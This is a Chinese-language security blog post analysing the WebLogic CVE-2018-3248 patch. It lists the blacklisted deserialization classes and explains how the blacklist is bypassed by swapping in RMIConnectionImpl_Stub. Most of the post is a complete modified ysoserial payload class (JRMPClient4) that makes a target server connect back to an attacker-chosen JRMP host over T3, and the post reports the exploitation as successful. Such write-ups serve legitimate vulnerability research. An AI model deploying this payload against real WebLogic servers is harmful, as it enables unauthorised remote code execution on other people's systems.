Java安全之Weblogic 2018-3248分析
0x00 前言
基於前面的分析,後面的還是主要看補丁的繞過方式,這裡就來簡單的記錄一下。
0x01 補丁分析
先來看看補丁細節
private static final String[] DEFAULT_BLACKLIST_PACKAGES =
{ "org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax",
"javassist", "java.rmi.activation",
"sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };
對比上一個補丁新增了如下內容:
java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
0x02 繞過分析
新的補丁新增了新的內容,將RemoteObjectInvocationHandler
和UnicastRemoteObject
都拉入了黑名單。
但是在新的漏洞給出的繞過方式是使用其他類替代RemoteObjectInvocationHandler
類即可完成繞過。
繞過條件:
- 不在黑名單內(廢話)
- 繼承
java.rmi.server.RemoteObject
的子類
先來檢視RemoteObjectInvocationHandler
的繼承。
該類繼承RemoteObject
類,CTRL+H查詢RemoteObject
的子類。
發現子類還是挺多的。下面更改一下yso內容即可繞過。
改動yso
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient4.class.getClassLoader());
PayloadRunner.run(JRMPClient4.class, args);
}
}
改完yso重寫打包,將生成的payload使用T3協議傳輸過去即可繞過,利用成功。
參考文章
https://www.cnblogs.com/afanti/p/10256840.html
https://xz.aliyun.com/t/2479#toc-2
0x03 結尾
本篇內容較短,其實還是因為找不到補丁,分析起來沒啥意思。